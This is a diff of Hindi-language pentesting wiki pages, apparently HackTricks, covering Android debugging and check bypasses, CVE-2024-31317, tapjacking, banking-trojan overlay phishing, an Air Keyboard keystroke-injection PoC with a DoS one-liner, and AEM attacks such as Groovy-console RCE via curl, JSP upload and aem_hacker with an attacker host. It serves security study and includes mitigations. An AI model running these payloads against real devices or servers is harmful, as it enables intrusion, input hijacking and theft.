||||
- **नोट:** इस कमांड को हर बार एप्लिकेशन शुरू करने से पहले चलाना चाहिए ताकि यह डिबगर की प्रतीक्षा करे।
|
||||
- स्थायीता के लिए, `adb shell am setup-debug-app –w ––persistent <package_name>` का उपयोग करें।
|
||||
- सभी फ़्लैग हटाने के लिए, `adb shell am clear-debug-app <package_name>` का उपयोग करें।
|
||||
- सभी फ्लैग हटाने के लिए, `adb shell am clear-debug-app <package_name>` का उपयोग करें।
|
||||
|
||||
5. **Android Studio में डिबगिंग के लिए तैयार करें:**
|
||||
|
||||
@ -43,7 +43,7 @@
|
||||
|
||||
### **जांचों को बायपास करना**
|
||||
|
||||
ऐपlication, कुछ बिंदुओं पर, यह सत्यापित करेगा कि यह डिबग करने योग्य है और यह रूटेड डिवाइस को इंगित करने वाले बाइनरी की भी जांच करेगा। डिबगर का उपयोग ऐप जानकारी को संशोधित करने, डिबग करने योग्य बिट को अनसेट करने और खोजे गए बाइनरी के नामों को बदलने के लिए किया जा सकता है ताकि इन जांचों को बायपास किया जा सके।
|
||||
ऐप कुछ बिंदुओं पर यह सत्यापित करेगा कि क्या यह डिबग करने योग्य है और यह रूटेड डिवाइस को इंगित करने वाले बाइनरी की भी जांच करेगा। डिबगर का उपयोग ऐप की जानकारी को संशोधित करने, डिबग करने योग्य बिट को अनसेट करने और खोजे गए बाइनरी के नामों को बदलने के लिए किया जा सकता है ताकि इन जांचों को बायपास किया जा सके।
|
||||
|
||||
डिबग करने योग्य जांच के लिए:
|
||||
|
||||
@ -55,16 +55,16 @@
|
||||
|
||||
ये चरण सामूहिक रूप से सुनिश्चित करते हैं कि एप्लिकेशन को डिबग किया जा सके और कि कुछ सुरक्षा जांचों को डिबगर का उपयोग करके बायपास किया जा सके, जिससे एप्लिकेशन के व्यवहार का अधिक गहन विश्लेषण या संशोधन संभव हो सके।
|
||||
|
||||
चरण 2 में एक फ्लैग मान को 814267972 में बदलना शामिल है, जो बाइनरी में 110000101101000000100010100 के रूप में दर्शाया गया है।
|
||||
चरण 2 में फ्लैग मान को 814267972 में बदलना शामिल है, जो बाइनरी में 110000101101000000100010100 के रूप में दर्शाया गया है।
|
||||
|
||||
# **एक भेद्यता का शोषण**
|
||||
# **एक भेद्यता का शोषण करना**
|
||||
|
||||
एक कमजोर एप्लिकेशन का प्रदर्शन किया गया जिसमें एक बटन और एक टेक्स्टव्यू था। प्रारंभ में, एप्लिकेशन "Crack Me" प्रदर्शित करता है। लक्ष्य रनटाइम पर "Try Again" से "Hacked" संदेश को बदलना है, बिना स्रोत कोड को संशोधित किए।
|
||||
|
||||
## **भेद्यता की जांच करना**
|
||||
|
||||
- एप्लिकेशन को `apktool` का उपयोग करके डिकंपाइल किया गया ताकि `AndroidManifest.xml` फ़ाइल तक पहुंच प्राप्त की जा सके।
|
||||
- AndroidManifest.xml में `android_debuggable="true"` की उपस्थिति यह संकेत करती है कि एप्लिकेशन डिबग करने योग्य है और शोषण के लिए संवेदनशील है।
|
||||
- AndroidManifest.xml में `android_debuggable="true"` की उपस्थिति यह संकेत देती है कि एप्लिकेशन डिबग करने योग्य है और शोषण के लिए संवेदनशील है।
|
||||
- यह ध्यान देने योग्य है कि `apktool` का उपयोग केवल डिबग करने योग्य स्थिति की जांच के लिए किया जाता है बिना किसी कोड को बदले।
|
||||
|
||||
## **सेटअप तैयार करना**
|
||||
@ -87,10 +87,10 @@
|
||||
|
||||
# 2024 – **किसी भी** एप्लिकेशन को डिबग करने योग्य प्रक्रिया में बदलना (CVE-2024-31317)
|
||||
|
||||
यहां तक कि यदि लक्षित APK में `android:debuggable` फ्लैग _नहीं_ है, हालिया शोध ने दिखाया है कि यह **मनमाने एप्लिकेशनों** को `DEBUG_ENABLE_JDWP` रनटाइम फ्लैग के साथ शुरू करने के लिए मजबूर करना संभव है, Zygote द्वारा कमांड-लाइन तर्कों को पार्स करने के तरीके का दुरुपयोग करके।
|
||||
यहां तक कि यदि लक्षित APK _नहीं_ भेजा गया है `android:debuggable` फ्लैग के साथ, हालिया शोध ने दिखाया है कि यह संभव है **मनमाने एप्लिकेशनों** को `DEBUG_ENABLE_JDWP` रनटाइम फ्लैग के साथ शुरू करने के लिए मजबूर करना, Zygote के कमांड-लाइन तर्कों को पार्स करने के तरीके का दुरुपयोग करके।
|
||||
|
||||
* **भेद्यता:** Zygote के कमांड सॉकेट के माध्यम से प्रदान किए गए `--runtime-flags` की अनुचित मान्यता एक हमलावर को अनुमति देती है जो `system_server` तक पहुंच सकता है (उदाहरण के लिए, विशेषाधिकार प्राप्त `adb` शेल के माध्यम से जो `WRITE_SECURE_SETTINGS` अनुमति रखता है) अतिरिक्त पैरामीटर इंजेक्ट करने के लिए। जब तैयार किया गया कमांड `system_server` द्वारा पुनः चलाया जाता है, तो पीड़ित ऐप _debuggable_ के रूप में और एक JDWP थ्रेड सुनने के साथ फोर्क किया जाता है। इस मुद्दे को **CVE-2024-31317** के रूप में ट्रैक किया गया है और इसे जून 2024 के Android सुरक्षा बुलेटिन में ठीक किया गया था।
|
||||
* **प्रभाव:** **किसी भी** ऐप (विशेषाधिकार प्राप्त जैसे `com.android.settings`) के निजी डेटा निर्देशिका तक पूर्ण पढ़ने/लिखने की पहुंच, टोकन चोरी, MDM बायपास, और कई मामलों में अब-डिबग करने योग्य प्रक्रिया के निर्यातित IPC एंडपॉइंट्स का दुरुपयोग करके विशेषाधिकार वृद्धि के लिए एक सीधा मार्ग।
|
||||
* **भेद्यता:** Zygote के कमांड सॉकेट के माध्यम से प्रदान किए गए `--runtime-flags` की अनुचित मान्यता एक हमलावर को अनुमति देती है जो `system_server` तक पहुंच सकता है (उदाहरण के लिए, विशेषाधिकार प्राप्त `adb` शेल के माध्यम से जो `WRITE_SECURE_SETTINGS` अनुमति रखता है) अतिरिक्त पैरामीटर इंजेक्ट करने के लिए। जब तैयार किया गया कमांड `system_server` द्वारा पुनः चलाया जाता है, तो पीड़ित ऐप _डिबग करने योग्य_ के रूप में और एक JDWP थ्रेड सुनने के साथ फोर्क किया जाता है। इस मुद्दे को **CVE-2024-31317** के रूप में ट्रैक किया गया है और इसे जून 2024 के Android सुरक्षा बुलेटिन में ठीक किया गया था।
|
||||
* **प्रभाव:** **किसी भी** ऐप (विशेषाधिकार प्राप्त जैसे `com.android.settings`) के निजी डेटा निर्देशिका तक पूर्ण पढ़ने/लिखने की पहुंच, टोकन चोरी, MDM बायपास, और कई मामलों में अब-डिबग करने योग्य प्रक्रिया के निर्यातित IPC एंडपॉइंट्स का दुरुपयोग करके विशेषाधिकार वृद्धि के लिए सीधा मार्ग।
|
||||
* **प्रभावित संस्करण:** जून 2024 पैच स्तर से पहले Android 9 से 14।
|
||||
|
||||
## त्वरित PoC
|
||||
@ -111,7 +111,7 @@ jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
|
||||
|
||||
## पहचान और शमन
|
||||
|
||||
* **2024-06-01** (या बाद में) सुरक्षा स्तर के लिए पैच करें - Google ने `ZygoteCommandBuffer` को मजबूत किया है ताकि बाद के कमांड इस तरह से तस्करी नहीं किए जा सकें।
|
||||
* **2024-06-01** (या बाद में) सुरक्षा स्तर के लिए पैच करें - Google ने `ZygoteCommandBuffer` को मजबूत किया है ताकि बाद के कमांड इस तरीके से तस्करी नहीं किए जा सकें।
|
||||
* उत्पादन उपकरणों पर `WRITE_SECURE_SETTINGS` / `shell` पहुंच को सीमित करें। इस एक्सप्लॉइट के लिए इस अनुमति की आवश्यकता होती है, जो सामान्यतः केवल ADB या OEM-विशिष्ट ऐप्स के पास होती है।
|
||||
* EMM/MDM-प्रबंधित बेड़े पर, `ro.debuggable=0` को लागू करें और `adb disable-verifier` के माध्यम से शेल को अस्वीकार करें।
|
||||
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
## **बुनियादी जानकारी**
|
||||
|
||||
**Tapjacking** एक हमला है जहाँ एक **दुष्ट** **ऐप्लिकेशन** लॉन्च किया जाता है और **पीड़ित ऐप्लिकेशन के ऊपर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से ढक लेता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता इसके साथ इंटरैक्ट करने के लिए धोखा खा जाए, जबकि यह इंटरैक्शन को पीड़ित ऐप के पास भेज रहा है।\
|
||||
**Tapjacking** एक हमला है जहाँ एक **दुष्ट** **ऐप्लिकेशन** लॉन्च किया जाता है और **पीड़ित ऐप्लिकेशन के ऊपर खुद को स्थिति में रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से ढक लेता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता इसके साथ इंटरैक्ट करने के लिए धोखा खा जाए, जबकि यह इंटरैक्शन को पीड़ित ऐप के पास भेज रहा है।\
|
||||
इसका प्रभाव यह है कि यह **उपयोगकर्ता को यह जानने से अंधा कर देता है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**।
|
||||
|
||||
### पहचान
|
||||
|
||||
इस हमले के प्रति संवेदनशील ऐप्स का पता लगाने के लिए आपको एंड्रॉइड मैनिफेस्ट में **निर्यातित गतिविधियों** की खोज करनी चाहिए (ध्यान दें कि एक गतिविधि जिसमें एक इरादा-फिल्टर है, डिफ़ॉल्ट रूप से स्वचालित रूप से निर्यातित होती है)। एक बार जब आप निर्यातित गतिविधियों को ढूंढ लेते हैं, तो **जांचें कि क्या उन्हें कोई अनुमति चाहिए**। इसका कारण यह है कि **दुष्ट ऐप्लिकेशन को भी उस अनुमति की आवश्यकता होगी**।
|
||||
|
||||
आप ऐप के न्यूनतम SDK संस्करण की भी जांच कर सकते हैं, **`android:minSdkVersion`** के मान की जांच करते हुए **`AndroidManifest.xml`** फ़ाइल में। यदि मान **30 से कम है**, तो ऐप Tapjacking के प्रति संवेदनशील है।
|
||||
आप ऐप का न्यूनतम SDK संस्करण भी जांच सकते हैं, **`AndroidManifest.xml`** फ़ाइल में **`android:minSdkVersion`** के मान की जांच करके। यदि मान **30 से कम है**, तो ऐप Tapjacking के प्रति संवेदनशील है।
|
||||
|
||||
### सुरक्षा
|
||||
|
||||
@ -21,7 +21,7 @@
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
यदि **`android:filterTouchesWhenObscured`** को **`true`** पर सेट किया गया है, तो `View` को तब भी स्पर्श नहीं मिलेगा जब दृश्य की विंडो किसी अन्य दृश्यमान विंडो द्वारा ढकी हो।
|
||||
यदि **`android:filterTouchesWhenObscured`** को **`true`** पर सेट किया गया है, तो `View` को तब भी स्पर्श नहीं मिलेगा जब दृश्य की विंडो किसी अन्य दृश्यमान विंडो द्वारा ढकी हुई हो।
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
@ -35,41 +35,41 @@ android:layout_height="wrap_content"
|
||||
android:filterTouchesWhenObscured="true">
|
||||
</Button>
|
||||
```
|
||||
## शोषण
|
||||
## Exploitation
|
||||
|
||||
### Tapjacking-ExportedActivity
|
||||
|
||||
सबसे **हाल का Android एप्लिकेशन** जो Tapjacking हमले को अंजाम देता है (+ हमले के एप्लिकेशन की निर्यातित गतिविधि से पहले सक्रिय करना) यहाँ पाया जा सकता है: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
सबसे **हाल का Android एप्लिकेशन** जो Tapjacking हमला करता है (+ हमले के एप्लिकेशन की निर्यातित गतिविधि से पहले सक्रिय करना) यहाँ पाया जा सकता है: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
|
||||
इसे उपयोग करने के लिए **README निर्देशों का पालन करें**.
|
||||
|
||||
### FloatingWindowApp
|
||||
|
||||
एक उदाहरण प्रोजेक्ट जो **FloatingWindowApp** को लागू करता है, जिसे अन्य गतिविधियों के ऊपर क्लिकजैकिंग हमले को अंजाम देने के लिए उपयोग किया जा सकता है, यहाँ पाया जा सकता है [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (थोड़ा पुराना, apk बनाने में शुभकामनाएँ).
|
||||
एक उदाहरण प्रोजेक्ट जो **FloatingWindowApp** को लागू करता है, जिसे अन्य गतिविधियों के ऊपर क्लिकजैकिंग हमले को करने के लिए उपयोग किया जा सकता है, यहाँ पाया जा सकता है [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (थोड़ा पुराना, apk बनाने में शुभकामनाएँ).
|
||||
|
||||
### Qark
|
||||
|
||||
> [!CAUTION]
|
||||
> ऐसा लगता है कि यह प्रोजेक्ट अब रखरखाव में नहीं है और यह कार्यक्षमता अब ठीक से काम नहीं कर रही है
|
||||
> ऐसा लगता है कि यह प्रोजेक्ट अब बनाए नहीं रखा गया है और यह कार्यक्षमता अब ठीक से काम नहीं कर रही है
|
||||
|
||||
आप [**qark**](https://github.com/linkedin/qark) का उपयोग `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` पैरामीटर के साथ एक दुर्भावनापूर्ण एप्लिकेशन बनाने के लिए कर सकते हैं ताकि संभावित **Tapjacking** कमजोरियों का परीक्षण किया जा सके.\
|
||||
|
||||
निवारण अपेक्षाकृत सरल है क्योंकि डेवलपर यह चुन सकता है कि जब एक दृश्य दूसरे द्वारा ढका हो तो स्पर्श घटनाएँ प्राप्त न करें। [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security) का उपयोग करते हुए:
|
||||
निवारण अपेक्षाकृत सरल है क्योंकि डेवलपर यह चुन सकता है कि जब एक दृश्य दूसरे द्वारा ढका होता है तो स्पर्श घटनाएँ प्राप्त न करें। [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security) का उपयोग करते हुए:
|
||||
|
||||
> कभी-कभी यह आवश्यक होता है कि एक एप्लिकेशन यह सत्यापित कर सके कि कोई क्रिया उपयोगकर्ता की पूरी जानकारी और सहमति के साथ की जा रही है, जैसे कि अनुमति अनुरोध को स्वीकार करना, खरीदारी करना या विज्ञापन पर क्लिक करना। दुर्भाग्यवश, एक दुर्भावनापूर्ण एप्लिकेशन उपयोगकर्ता को इन क्रियाओं को करने के लिए धोखा देने की कोशिश कर सकता है, बिना यह जाने कि दृश्य का वास्तविक उद्देश्य क्या है। एक उपाय के रूप में, ढांचा एक स्पर्श फ़िल्टरिंग तंत्र प्रदान करता है जिसका उपयोग संवेदनशील कार्यक्षमता तक पहुँच प्रदान करने वाले दृश्यों की सुरक्षा में सुधार के लिए किया जा सकता है।
|
||||
> कभी-कभी यह आवश्यक होता है कि एक एप्लिकेशन यह सत्यापित कर सके कि कोई क्रिया पूरी जानकारी और उपयोगकर्ता की सहमति के साथ की जा रही है, जैसे कि अनुमति अनुरोध को स्वीकार करना, खरीदारी करना या विज्ञापन पर क्लिक करना। दुर्भाग्यवश, एक दुर्भावनापूर्ण एप्लिकेशन उपयोगकर्ता को इन क्रियाओं को करने के लिए धोखा देने की कोशिश कर सकता है, बिना यह जाने कि दृश्य का उद्देश्य क्या है। एक उपाय के रूप में, ढांचा एक स्पर्श फ़िल्टरिंग तंत्र प्रदान करता है जिसका उपयोग संवेदनशील कार्यक्षमता तक पहुँच प्रदान करने वाले दृश्यों की सुरक्षा में सुधार के लिए किया जा सकता है।
|
||||
>
|
||||
> स्पर्श फ़िल्टरिंग सक्षम करने के लिए, [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) को कॉल करें या android:filterTouchesWhenObscured लेआउट विशेषता को true पर सेट करें। जब सक्षम किया जाता है, तो ढांचा उन स्पर्शों को अस्वीकार कर देगा जो तब प्राप्त होते हैं जब दृश्य की विंडो किसी अन्य दृश्य विंडो द्वारा ढकी होती है। परिणामस्वरूप, दृश्य को तब स्पर्श प्राप्त नहीं होंगे जब भी एक टोस्ट, संवाद या अन्य विंडो दृश्य की विंडो के ऊपर दिखाई देती है।
|
||||
> स्पर्श फ़िल्टरिंग सक्षम करने के लिए, [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) को कॉल करें या android:filterTouchesWhenObscured लेआउट विशेषता को true पर सेट करें। जब सक्षम किया जाता है, तो ढांचा उन स्पर्शों को अस्वीकार कर देगा जो तब प्राप्त होते हैं जब दृश्य की विंडो किसी अन्य दृश्य विंडो द्वारा ढकी होती है। परिणामस्वरूप, दृश्य तब स्पर्श प्राप्त नहीं करेगा जब भी एक टोस्ट, संवाद या अन्य विंडो दृश्य की विंडो के ऊपर दिखाई देती है।
|
||||
|
||||
---
|
||||
|
||||
## एक्सेसिबिलिटी ओवरले फ़िशिंग (बैंकिंग-ट्रोजन वेरिएंट)
|
||||
## Accessibility Overlay Phishing (Banking-Trojan Variant)
|
||||
|
||||
क्लासिक Tapjacking के अलावा, आधुनिक Android बैंकिंग मैलवेयर परिवार (जैसे **ToxicPanda**, BrasDex, Sova, आदि) **Accessibility Service** का दुरुपयोग करते हैं ताकि वैध एप्लिकेशन के ऊपर एक पूर्ण-स्क्रीन WebView **ओवरले** रखा जा सके जबकि अभी भी उपयोगकर्ता इनपुट को नीचे के दृश्य में **आगे बढ़ाने** में सक्षम हो। यह विश्वसनीयता को नाटकीय रूप से बढ़ाता है और हमलावरों को क्रेडेंशियल, OTP या यहां तक कि धोखाधड़ी लेनदेन को स्वचालित करने की अनुमति देता है।
|
||||
|
||||
### यह कैसे काम करता है
|
||||
1. दुर्भावनापूर्ण APK अत्यधिक संवेदनशील `BIND_ACCESSIBILITY_SERVICE` अनुमति का अनुरोध करता है, आमतौर पर अनुरोध को एक नकली Google/Chrome/PDF-दृश्यक संवाद के पीछे छिपाते हुए।
|
||||
1. दुर्भावनापूर्ण APK अत्यधिक संवेदनशील `BIND_ACCESSIBILITY_SERVICE` अनुमति का अनुरोध करता है, आमतौर पर एक नकली Google/Chrome/PDF-व्यूअर संवाद के पीछे अनुरोध को छिपाते हुए।
|
||||
2. एक बार जब उपयोगकर्ता सेवा को सक्षम करता है, तो मैलवेयर प्रोग्रामेटिक रूप से अतिरिक्त खतरनाक अनुमतियाँ (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …) देने के लिए आवश्यक टैप का अनुकरण करता है।
|
||||
3. एक **WebView** को फुलाया जाता है और इसे **`TYPE_ACCESSIBILITY_OVERLAY`** विंडो प्रकार का उपयोग करके विंडो प्रबंधक में जोड़ा जाता है। ओवरले को पूरी तरह से अपारदर्शी या अर्ध-पारदर्शी रूप में प्रस्तुत किया जा सकता है और इसे *“थ्रू”* के रूप में चिह्नित किया जा सकता है ताकि मूल स्पर्श अभी भी पृष्ठभूमि गतिविधि को भेजे जाएं (इस प्रकार लेनदेन वास्तव में होता है जबकि पीड़ित केवल फ़िशिंग फॉर्म देखता है)।
|
||||
3. एक **WebView** को फुलाया जाता है और इसे **`TYPE_ACCESSIBILITY_OVERLAY`** विंडो प्रकार का उपयोग करके विंडो प्रबंधक में जोड़ा जाता है। ओवरले को पूरी तरह से अपारदर्शी या अर्ध-अपारदर्शी के रूप में प्रस्तुत किया जा सकता है और इसे *“थ्रू”* के रूप में चिह्नित किया जा सकता है ताकि मूल स्पर्श अभी भी पृष्ठभूमि गतिविधि को भेजे जाएं (इस प्रकार लेनदेन वास्तव में होता है जबकि पीड़ित केवल फ़िशिंग फॉर्म देखता है)।
|
||||
```java
|
||||
WebView phishingView = new WebView(getApplicationContext());
|
||||
phishingView.getSettings().setJavaScriptEnabled(true);
|
||||
|
@ -6,11 +6,11 @@
|
||||
|
||||
iOS संस्करण का वाणिज्यिक **“Air Keyboard”** एप्लिकेशन (App Store ID 6463187929) एक स्थानीय-नेटवर्क सेवा को उजागर करता है जो **कोई प्रमाणीकरण या मूल सत्यापन के बिना कीस्ट्रोक फ़्रेम स्वीकार करता है**। स्थापित संस्करण के आधार पर, सेवा या तो है:
|
||||
|
||||
* **≤ 1.0.4** – **port 8888** पर कच्चा TCP श्रोता जो 2-बाइट लंबाई हेडर की अपेक्षा करता है, इसके बाद *device-id* और ASCII पेलोड होता है।
|
||||
* **≥ 1.0.5 (जून 2025)** – *same* port (**8888**) पर **WebSocket** श्रोता जो **JSON** कुंजी जैसे `{"type":1,"text":"…"}` को पार्स करता है।
|
||||
* **≤ 1.0.4** – कच्चा TCP श्रोता **पोर्ट 8888** पर जो 2-बाइट लंबाई हेडर की अपेक्षा करता है, इसके बाद *device-id* और ASCII पेलोड होता है।
|
||||
* **≥ 1.0.5 (जून 2025)** – **WebSocket** श्रोता *उसी* पोर्ट (**8888**) पर जो **JSON** कुंजी जैसे `{"type":1,"text":"…"}` को पार्स करता है।
|
||||
|
||||
इसलिए, एक ही Wi-Fi / सबनेट पर कोई भी डिवाइस **पीड़ित के फोन में मनमाना कीबोर्ड इनपुट इंजेक्ट कर सकता है, पूर्ण दूरस्थ इंटरैक्शन हाईजैकिंग प्राप्त कर सकता है**।
|
||||
एक साथी Android बिल्ड **port 55535** पर सुनता है। यह एक कमजोर AES-ECB हैंडशेक करता है लेकिन तैयार किया गया कचरा फिर भी **OpenSSL के अंदर एक अनहैंडल्ड अपवाद** का कारण बनता है, बैकग्राउंड सेवा को क्रैश कर देता है (**DoS**).
|
||||
इसलिए, एक ही Wi-Fi / सबनेट पर कोई भी डिवाइस **शिकार के फोन में मनमाना कीबोर्ड इनपुट इंजेक्ट कर सकता है, पूर्ण दूरस्थ इंटरैक्शन हाइजैकिंग प्राप्त कर सकता है**।
|
||||
एक साथी Android बिल्ड **पोर्ट 55535** पर सुनता है। यह एक कमजोर AES-ECB हैंडशेक करता है लेकिन तैयार किया गया कचरा फिर भी **OpenSSL के अंदर एक अनहैंडल्ड अपवाद** का कारण बनता है, बैकग्राउंड सेवा को क्रैश कर देता है (**DoS**).
|
||||
|
||||
> यह सुरक्षा दोष **लेखन के समय (जुलाई 2025) पर अभी भी पैच नहीं किया गया है** और एप्लिकेशन App Store में उपलब्ध है।
|
||||
|
||||
@ -66,7 +66,7 @@ On **jailbroken iOS** आप `lsof -i -nP | grep LISTEN | grep 8888` के स
|
||||
|
||||
## 3. शोषण PoC
|
||||
|
||||
### 3.1 लक्षित करना ≤ 1.0.4 (कच्चा TCP)
|
||||
### 3.1 लक्ष्य ≤ 1.0.4 (कच्चा TCP)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
|
||||
@ -119,7 +119,7 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
|
||||
Air Keyboard **एक अलग मामला नहीं है**। अन्य मोबाइल “रिमोट कीबोर्ड/माउस” उपयोगिताएँ भी इसी दोष के साथ आई हैं:
|
||||
|
||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 अनधिकृत कमांड निष्पादन और प्लेन-टेक्स्ट की-लॉगिंग की अनुमति देता है।
|
||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 अनधिकृत कमांड निष्पादन और प्लेन-टेक्स्ट की-लॉगिंग की अनुमति देते हैं।
|
||||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 अनधिकृत RCE और ट्रैफिक स्नूपिंग।
|
||||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 डिफ़ॉल्ट-नो-पासवर्ड, कमजोर PIN ब्रूट-फोर्स और क्लियर-टेक्स्ट लीक।
|
||||
|
||||
@ -130,12 +130,12 @@ Air Keyboard **एक अलग मामला नहीं है**। अन
|
||||
## 6. मूल कारण
|
||||
|
||||
1. **आने वाले फ्रेम पर कोई मूल/अखंडता जांच नहीं** (iOS)।
|
||||
2. **क्रिप्टोग्राफिक दुरुपयोग** (स्थिर कुंजी, ECB, लंबाई सत्यापन की कमी) और **अपवाद प्रबंधन की कमी** (Android)।
|
||||
2. **क्रिप्टोग्राफिक दुरुपयोग** (स्थिर कुंजी, ECB, लंबाई मान्यता की कमी) और **अपवाद प्रबंधन की कमी** (Android)।
|
||||
3. **उपयोगकर्ता-प्रदानित लोकल-नेटवर्क अधिकार ≠ सुरक्षा** – iOS LAN ट्रैफिक के लिए रनटाइम सहमति मांगता है, लेकिन यह उचित प्रमाणीकरण का विकल्प नहीं है।
|
||||
|
||||
---
|
||||
|
||||
## 7. हार्डनिंग और रक्षात्मक उपाय
|
||||
## 7. हार्डनिंग और रक्षा उपाय
|
||||
|
||||
डेवलपर सिफारिशें:
|
||||
|
||||
@ -148,7 +148,7 @@ Air Keyboard **एक अलग मामला नहीं है**। अन
|
||||
|
||||
* **नेटवर्क शिकार:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` या Wireshark फ़िल्टर `tcp.port == 8888`।
|
||||
* **रनटाइम निरीक्षण:** Frida स्क्रिप्ट हुकिंग `socket()`/`NWConnection` अप्रत्याशित लिस्नरों की सूची बनाने के लिए।
|
||||
* **iOS ऐप प्राइवेसी रिपोर्ट (सेटिंग्स ▸ प्राइवेसी और सुरक्षा ▸ ऐप प्राइवेसी रिपोर्ट)** उन ऐप्स को उजागर करती है जो LAN पते से संपर्क करती हैं – धोखाधड़ी सेवाओं को पहचानने के लिए उपयोगी।
|
||||
* **iOS ऐप प्राइवेसी रिपोर्ट (सेटिंग्स ▸ प्राइवेसी और सुरक्षा ▸ ऐप प्राइवेसी रिपोर्ट)** उन ऐप्स को उजागर करती है जो LAN पते से संपर्क करते हैं – धोखाधड़ी सेवाओं को पहचानने के लिए उपयोगी।
|
||||
* **मोबाइल EDRs** पोर्ट 8888 पर क्लियर-टेक्स्ट TCP पेलोड्स के लिए JSON कुंजी `"selectionStart"`, `"selectionEnd"` के लिए सरल Yara-L नियम जोड़ सकते हैं।
|
||||
|
||||
---
|
||||
|
@ -29,7 +29,7 @@ X-Vary: Accept-Encoding
|
||||
---- | ------------- | -----
|
||||
`/.json`, `/.1.json` | JCR नोड्स via **DefaultGetServlet** | अक्सर अवरुद्ध, लेकिन *Dispatcher bypass* (नीचे देखें) काम करता है।
|
||||
`/bin/querybuilder.json?path=/` | QueryBuilder API | पृष्ठ वृक्ष, आंतरिक पथ, उपयोगकर्ता नाम का लीक।
|
||||
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix कंसोल | डिफ़ॉल्ट रूप से 403; यदि उजागर और क्रेडेंशियल्स पाए गए ⇒ बंडल-अपलोड RCE।
|
||||
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix कंसोल | डिफ़ॉल्ट रूप से 403; यदि उजागर और क्रेडेंशियल्स मिले ⇒ बंडल-अपलोड RCE।
|
||||
`/crx/packmgr/index.jsp` | पैकेज प्रबंधक | प्रमाणीकृत सामग्री पैकेजों की अनुमति देता है → JSP पेलोड अपलोड।
|
||||
`/etc/groovyconsole/**` | AEM Groovy कंसोल | यदि उजागर → मनमाना Groovy / Java निष्पादन।
|
||||
`/libs/cq/AuditlogSearchServlet.json` | ऑडिट लॉग | जानकारी का खुलासा।
|
||||
@ -62,9 +62,9 @@ curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groov
|
||||
तिमाही | CVE | प्रभावित | प्रभाव
|
||||
------- | --- | -------- | ------
|
||||
दिसंबर 2024 | **CVE-2024-43711** | 6.5.21 और पहले | अनुचित इनपुट मान्यता → **मनमाना कोड निष्पादन** (कम-priv auth की आवश्यकता)। 【】
|
||||
दिसंबर 2024 | CVE-2024-43724/26 | 6.5.21 और पहले | Move Page Wizard में DOM / स्टोर की गई XSS। 【】
|
||||
दिसंबर 2024 | CVE-2024-43724/26 | 6.5.21 और पहले | DOM / स्टोर की गई XSS मूव पेज विजार्ड में। 【】
|
||||
दिसंबर 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | तैयार URL के माध्यम से DOM-आधारित XSS। 【】
|
||||
दिसंबर 2022 | CVE-2022-30683 | ≤ 6.5.13 | क्रिप्टो डिज़ाइन दोष → गुप्त डिक्रिप्शन (कम-priv क्रेडेंशियल्स की आवश्यकता)। 【】
|
||||
दिसंबर 2022 | CVE-2022-30683 | ≤ 6.5.13 | क्रिप्टो डिज़ाइन दोष → गुप्त डिक्रिप्शन (कम-priv क्रेड्स की आवश्यकता)। 【】
|
||||
|
||||
हमेशा ग्राहक की सेवा-पैक से मेल खाने वाले *APSB* बुलेटिन की जांच करें और नवीनतम **6.5.22** या *Cloud Service 2024.11* का अनुरोध करें।
|
||||
|
||||
@ -87,7 +87,7 @@ jcr:data=<% out.println("pwned"); %>
|
||||
|
||||
### 5.2 SSRF से RCE (ऐतिहासिक < 6.3)
|
||||
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
|
||||
`aem_ssrf2rce.py` **aem-hacker** से पूरी श्रृंखला को स्वचालित करता है। 【】
|
||||
**aem-hacker** से `aem_ssrf2rce.py` पूरी श्रृंखला को स्वचालित करता है। 【】
|
||||
|
||||
---
|
||||
|
||||
@ -97,7 +97,7 @@ jcr:data=<% out.println("pwned"); %>
|
||||
```bash
|
||||
python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
```【】
|
||||
* **Content Brute-force** – छिपे हुए घटकों को खोजने के लिए `/_jcr_content.(json|html)` को पुनरावृत्त रूप से अनुरोध करें।
|
||||
* **Content Brute-force** – छिपे हुए घटकों को खोजने के लिए `/_jcr_content.(json|html)` का पुनरावृत्त अनुरोध करें।
|
||||
* **osgi-infect** – यदि क्रेड्स उपलब्ध हैं तो `/system/console/bundles` के माध्यम से दुर्भावनापूर्ण OSGi बंडल अपलोड करें।
|
||||
|
||||
---
|
||||
